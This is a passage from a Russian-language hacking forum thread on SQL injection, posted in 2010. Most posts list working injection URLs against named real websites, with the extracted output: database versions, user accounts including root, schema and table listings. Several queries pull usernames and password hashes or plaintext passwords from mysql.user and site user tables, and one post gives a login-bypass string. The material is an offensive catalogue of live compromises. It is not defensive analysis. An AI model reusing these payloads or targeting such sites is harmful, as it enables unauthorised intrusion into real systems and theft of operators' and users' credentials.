SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 574 of 798
  1. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    5.0.88-rsNbsa_forum
     
    #11461 Strilo4ka, 24 Feb 2010
    Last edited: 24 Feb 2010
    3 people like this.
  2. nemaniak

    nemaniak Elder - Старейшина

    Joined:
    10 Jun 2008
    Messages:
    195
    Likes Received:
    161
    Reputations:
    108
    shortcms.de

    Code:
    http://www.shortcms.de/printview.php?func=news1&pvid=-55%20union%20all%20select%201,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7,8--
    Code:
    5.0.81-log:[email protected]:db230238322
    firstsong.de

    Code:
    http://www.firstsong.de/kde/printview.php?func=news1&pvid=-55%20union%20select%201,concat_ws%280x3a,version%28%29,user%28%29,database%28%29%29,3,4,5,6,7--
    Code:
    5.0.32-Debian_7etch11-log:web9@localhost:usr_web9_1
     
    #11462 nemaniak, 24 Feb 2010
    1 person likes this.
  3. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Какой-то порнографический(или эротический) сайт мля... Пришлось аж картинки отключать, чтобы не видеть этого!!! Blind,запарился перебирать:
    Code:
    http://www.squirtz.com/model.html?id=-1+union+select+1,2,3,4,0,6,ascii(substring((select+version()),1,1)),8--
    version: 5.0.7
    user: root@localhost
    database: networkCentral

    Короче смысл какой: первый столбец - id модели. Я взял первый. Там отображается возраст, 31 год для первого id-шника.
    7ой столбец - это сколько отнимается от возраста. Ну и надо считать(математика ёпт).
    В результате того запроса, который я написал, возраст получается -22->22+31=53(ascii ёпт)->версия 5
     
    #11463 Seravin, 24 Feb 2010
    Last edited: 24 Feb 2010
    2 people like this.
  4. Kverter

    Kverter New Member

    Joined:
    8 Oct 2009
    Messages:
    57
    Likes Received:
    2
    Reputations:
    1
    http://www.borkecast.ru/index.php?action=pages&sid=4&id=-1+Union+select+1,2,3,4,5,6,7,concat(version(),0x3a,user(),0xa3,database()),9

    5.0.51a-community:
    borkecas_borkec0@localhost
    borkecas_borke
     
    #11464 Kverter, 24 Feb 2010
  5. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Ещё раз выложу, если удалите, хоть напишите почему!

    Code:
    http://www.viajandoparaorlando.com/forum/hoteis/hotel.php?id=1+and+1=2+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database()),5,6,7,8,9,10,11,12,13,14,15+--+
    5.0.45:root@localhost:viajando_

    Databases:
    Code:
    http://www.viajandoparaorlando.com/forum/hoteis/hotel.php?id=1+and+1=2+union+select+1,2,3,group_concat(schema_name),5,6,7,8,9,10,11,12,13,14,15+from+information_schema.schemata+--+
    information_schema,mysql,test,viajando_

    Tables database(mysql)
    Code:
    http://www.viajandoparaorlando.com/forum/hoteis/hotel.php?id=1+and+1=2+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+where+table_schema=0x6d7973716c+--+
    columns_priv,db,func,help_category,help_keyword,help_relation,help_topic,host,proc,procs_priv,tables_priv,time_zone,time_zone_leap_second,time_zone_name,time_zone_transition,time_zone_transition_type,user

    Tables database(viajando_)
    Code:
    http://www.viajandoparaorlando.com/forum/hoteis/hotel.php?id=1+and+1=2+union+select+1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+where+table_schema=0x7669616a616e646f5f+--+
    afiliados,ano,areas,atracoes,atracoes_avulsas,atracoes_comentarios,cadastro,cadastro_ano,cadastro_dia,cadastro_mes,chat,cidades,clubes,codigos_seguranca,colunas,colunas_colaboradores,compras,compras_lista,compras_lista_categorias,curiosidades,dia,disney_legends,dominio,empresas,encontros_gifts,enquete,enquete_opcao,estados,eventos_sazonais,forum_dicas,forum_informacoes,forum_online,forum_topicos,forum_topicos_favoritos,fotos,fotos_exibicao,guestbook,hiddenmickeys,horario,hoteis,hoteis_categorias,hoteis_comentarios,images,ips_bloqueados,links,linksrelacionados,lojas,materias,mes,noticias,online,online_total,palavras,paradas,parques,parques_jardins,passaporte,patrocinio,patrocinio_clicks,patrocinio_ingresso,patrocinio_ingresso_empresas,planejamento,planejamento_secoes,quotes,quotes_meta,refeicoes_personagens,reformas,rentacar_cars,rentacar_categories,rentacar_companies,rentacar_promotions,rentacar_tables,restaurantes,restaurantes_comentarios,shoppings,telefones,tours,users,users_notices,videos,visitas,visto

    Columns(mysql.user)
    Code:
    http://www.viajandoparaorlando.com/forum/hoteis/hotel.php?id=1+and+1=2+union+select+1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12,13,14,15+from+information_schema.columns+where+table_name=0x75736572+--+
    Host,User,Password,Select_priv,Insert_priv,Update_priv,Delete_priv,Create_priv,Drop_priv,Reload_priv,Shutdown_priv,Process_priv,File_priv,Grant_priv,References_priv,Index_priv,Alter_priv,Show_db_priv,Super_priv,Create_tmp_table_priv,Lock_tables_priv,Execute_priv,Repl_slave_priv,Repl_client_priv,Create_view_priv,Show_view_priv,Create_routine_priv,Alter_routine_priv,Create_user_priv,ssl_type,ssl_cipher,x509_issuer,x509_subject,max_questions,max_updates,max_connections,max_user_connections
     
    #11465 Seravin, 24 Feb 2010
    Last edited: 24 Feb 2010
    2 people like this.
  6. Kverter

    Kverter New Member

    Joined:
    8 Oct 2009
    Messages:
    57
    Likes Received:
    2
    Reputations:
    1
    http://www.gimnazia70.spb.ru/index.php?id_page=-1+union+select+concat(version(),0x3a,user(),0x3a,database()),2,3&db=yes

    5.0.77-log:
    [email protected]:
    gimnazia_school
     
    #11466 Kverter, 24 Feb 2010
    1 person likes this.
  7. Kverter

    Kverter New Member

    Joined:
    8 Oct 2009
    Messages:
    57
    Likes Received:
    2
    Reputations:
    1
    немного футбола))))
    http://www.eurocups.ru/champs/table.php?id=-1+union+select+concat(version(),0x3a,user(),0x3a,database()),2,3
     
    #11467 Kverter, 24 Feb 2010
    1 person likes this.
  8. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    гы версия 4.1.22-standard-log 5
    таблица users 57 колонок, пипец
     
    #11468 Strilo4ka, 25 Feb 2010
    Last edited: 25 Feb 2010
    1 person likes this.
  9. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://pinskdrevmebel.ru/novosti/item/otkrytie_novogo_sajta'+and+1=2)+UNION+SELECT+1,2,3,4,concat(database(),0x3a,user(),0x3a,version()),6,7,8,9,10,11,12,13+--+
    pinskdre_loran: pinskdre@localhost: 5.0.87-community-log

    Все пароли снова в открытом виде(
     
    #11469 Seravin, 25 Feb 2010
  10. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.oferta.ro/anunturi/Imobiliare/Inchirieri-apartamente-4_-camere/Sibiu/Apartament-in-Piata-Mica&siteid=937135+UNION+SELECT+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2+LIMIT+1,1--



    Database Version: 4.1.22-standard
    Database name: oferta_oferta
    User name: oferta_oferta@localhost
    Os : unknown-linux-gnu
     
    #11470 Gorev, 25 Feb 2010
    2 people like this.
  11. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Code:
    http://tobaccoreporter.com/home.php?id=498&art=-1+union+select+1,concat(database(),0x3a,user(),0x3a,version()),3,4,5,6,7,8,9,10+--+
    trmag_db:trmag_user@localhost:4.1.20
     
    #11471 Seravin, 25 Feb 2010
    1 person likes this.
  12. Strilo4ka

    Strilo4ka  

    Joined:
    5 Apr 2009
    Messages:
    709
    Likes Received:
    729
    Reputations:
    948
    чесно скажу впадло в схему лезть хоть и доступ есть
     
    #11472 Strilo4ka, 25 Feb 2010
  13. Seravin

    Seravin Active Member

    Joined:
    25 Nov 2009
    Messages:
    475
    Likes Received:
    190
    Reputations:
    221
    Можно меня поздравить! сотый пост) спс ачату) много чему научился!)

    перешёл на мазиллу)


    есть phpbb форум(насколько с базы понял)
    Code:
    http://mashiki.dominga.ru/view.php?id=-1+union+select+1,group_concat(database(),0x3a,user(),0x3a,version())+--+&sec=2
    dominga:dominga@localhost:5.0.51a-24+lenny1

    Code:
    http://lyrikline.org/index.php?id=162&L=1&show=Poems&author='+union+select+1,2,3,4,5,6,7,concat_ws(0x3a,database(),version(),user()),9,10,11,12,13,14,15,16++--+&cHash=834d11c441
    lyrikli_update: 5.0.77-log: [email protected]

    Databases: lyrikli_typo3,lyrikli_update
     
    #11473 Seravin, 26 Feb 2010
    Last edited: 26 Feb 2010
    2 people like this.
  14. Byte_

    Byte_ Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    143
    Likes Received:
    34
    Reputations:
    2
    http://www.dk-spb.ru/homebook.php?part=contact&idsub=77+UNION+SELECT+CONCAT_WS%28CHAR%2832,58,32%29,user%28%29,database%28%29,version%28%29%29--
    В тайтл выводится.
    [email protected] : db_domknigi_1 : 5.0.77-log
     
    #11474 Byte_, 26 Feb 2010
  15. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.ounix.ru/index.php?page=article&id=8%20UNION%20SELECT%201,2,3,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),5,6%20LIMIT%201,1


    Database Version: 4.0.27
    Database name: ounix
    User name: DarkAdmin@localhost
    OS : portbld-freebsd6.2
     
    #11475 Gorev, 26 Feb 2010
    3 people like this.
  16. [ac1D]

    [ac1D] Banned

    Joined:
    6 Dec 2009
    Messages:
    44
    Likes Received:
    27
    Reputations:
    0
    Code:
    http://www.discovery-club.com.ua/news.php?id=-1999+union+select+1,2,version%28%29,4,5,6,7--
    - 4ка
     
    #11476 [ac1D], 26 Feb 2010
  17. VITАL

    VITАL Elder - Старейшина

    Joined:
    19 Aug 2008
    Messages:
    1
    Likes Received:
    25
    Reputations:
    10
    http://dir.spylog.ru/index1.phtml?group=-1+UNION+SELECT+concat_ws(0x3a,user,password,host,file_priv)+from+mysql.user+limit+4,1%23
    http://www.eprussia.ru/gallery/gallery.cgi?gallery=showal&album=54+and+2=1+union+select+1,2,version(),4,5%23
    http://curriculum.rsuh.ru/index.php?option=content&task=category&sectionid=3&Itemid=26&id=97+and+2=1+union+select+version()
    http://heroes.ogl.ru/?hero_id=33+and+2=1+union+select+1,concat_ws(0x3a,login,pwd),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33+from+team%23
    http://www.fashionbank.ru/pdf/generator/pdf.php?id=-18613+union+select+1,2,'3',concat_ws(0x3a,0x3a,uname,upass),5,6,7,8,9,10,11,12+from+users+where+id=1/*
    http://www.eurofound.europa.eu/areas/qualityoflife/eurlife/index.php?template=3&radioindic=156+and+2=1+union+select+concat_ws(0x3a3a3a3a3a3a,user(),version()),2%23&idDomain=12
    http://fantasysports.comcast.net/nba/player.php?tqid=1113&type=news&nid=39031'+and+2=1+union+select+user(),concat_ws(0x3a,user,password,host,file_priv),3,4+from+mysql.user+limit+32,1%23
    http://aidscience.org/Country.asp?ID=3+and+2=1+union+select+1,2,@@version,4,5,6,7,8--
    http://www.fieldtripearth.org/media.xml?division_id=2&category_id=1))+union+select+version()%23
    http://www.timewastersguide.com/view.php?id=318+and+2=1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%23
    http://okdail.infobox.ru/ru/railway/trainstimetable.php?id=3+and+2=1+union+select+1,2,unhex(hex(version())),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18%23
    http://www.k4dre.infobox.ru/msg_list.php?forum_id=6+and+2=1+union+select+1,version(),3,4%23
    http://board.ugmk.info/?b=1224406451+and+substring(version(),1,1)=5

    hek.me with love
     
    #11477 VITАL, 26 Feb 2010
    6 people like this.
  18. t3zo

    t3zo Member

    Joined:
    18 Feb 2010
    Messages:
    51
    Likes Received:
    14
    Reputations:
    5
    Code:
    [COLOR="Lime"]http://ul-ivanovka-sosh.ru/index.php?cat=3+union+select+concat(table_name,0x3a)+from+information_schema.tables[/COLOR]

Открываем сурс.....

http://86132.ru/kabinet.php

' or 1=1/*


http://muzzzon.com/taxonomy_menu/1/11)%20and%20row(1,1)%3E(select%20count(*),concat(version(),floor(rand(0)*2))%20a%20from%20node%20group%20by%20a%23

database():[COLOR="Red"]muzzzon_base1[/COLOR]
Версия:[COLOR="#ff0000"]5[/COLOR]

[size="1"][color="#666686"]Добавлено через 51 час 23 минуты[/color][/size]
[COLOR="Lime"]http://www.edu.nsu.ru/new_detail.php?new_id=-1[/COLOR]

[COLOR="#00ff00"]http://www.edu.nsu.ru/new_detail.php?new_id=-1+union+select+1,2,3--[/COLOR]

ДБ:[COLOR="#ff0000"]noos[/COLOR]
Версия:[COLOR="Red"]4.1.20[/COLOR]
Юзер:[COLOR="#ff0000"]nooser@localhost[/COLOR]
     
    #11478 t3zo, 27 Feb 2010
    Last edited: 27 Feb 2010
    3 people like this.
  19. GinTonic

    GinTonic New Member

    Joined:
    18 Dec 2009
    Messages:
    13
    Likes Received:
    3
    Reputations:
    1
    5.1.42
    poopzi@localhost
    wwwpoopzicom
     
    #11479 GinTonic, 1 Mar 2010
    1 person likes this.
  20. BastardFromHell

    BastardFromHell Member

    Joined:
    5 Feb 2010
    Messages:
    50
    Likes Received:
    18
    Reputations:
    6
    Code:
    http://lipetskcity.ru/lipetsk/menu.php?i=1&page=page_1_5.php&text_pod_menu=pic2&id_rep=16%20AND%201=2%20UNION%20SELECT%201,2,3,4,5
    дальшы впадлу лесть
     
    #11480 BastardFromHell, 1 Mar 2010
    1 person likes this.
(You must log in or sign up to post here.)
Page 574 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.